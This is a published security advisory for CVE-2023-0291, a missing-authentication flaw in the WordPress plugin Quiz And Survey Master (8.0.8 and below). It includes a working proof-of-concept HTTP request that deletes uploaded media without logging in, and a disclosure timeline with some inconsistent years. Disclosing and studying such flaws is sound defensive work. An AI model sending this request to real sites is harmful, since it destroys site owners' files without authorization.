Quiz And Survey Master <= 8.0.8 - Unauthenticated Arbitrary Media Deletion
Feb 8, 2023 · By Julien Ahrens
ADVISORY INFORMATION
- Product: Quiz And Survey Master
- Vendor URL: https://wordpress.org/plugins/quiz-master-next
- Type: Missing Authentication for Critical Function [CWE-306]
- Date found: 2023-01-13
- Date published: 2023-02-08
- CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
- CVE: CVE-2023-0291
CREDITS
This vulnerability was discovered and researched by Julien Ahrens from RCE Security.
VERSIONS AFFECTED
Quiz And Survey Master 8.0.8 and below
INTRODUCTION
Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used to create engaging content to drive traffic and increase user engagement. Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee surveys. This plugin is the ultimate marketing tool for your website.
(from the vendor’s homepage)
VULNERABILITY DETAILS
The plugin offers the ajax action “qsm_remove_file_fd_question” to unauthenticated users which accepts a “media_id” parameter pointing to a any item uploaded through WordPress’ media upload functionality. However, this “media_id” is afterward used in a forced wp_delete_attachment() call ultimately deleteing the media from the WordPress instance.
Successful exploits can allow an unauthenticated attacker to delete any (and all) uploaded WordPress media files.
PROOF OF CONCEPT
The following Proof-of-Concept would delete the uploaded media with the ID “1”:
POST /wp-admin/admin-ajax.php HTTP/2
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
action=qsm_remove_file_fd_question&media_id=1
SOLUTION
Update to version 8.0.9
REPORT TIMELINE
- 2023-01-13: Discovery of the vulnerability
- 2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291
- 2023-01-18: Sent initial notification to vendor via contact form
- 2022-01-18: Vendor response
- 2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability
- 2022-02-08: Public disclosure
REFERENCES
None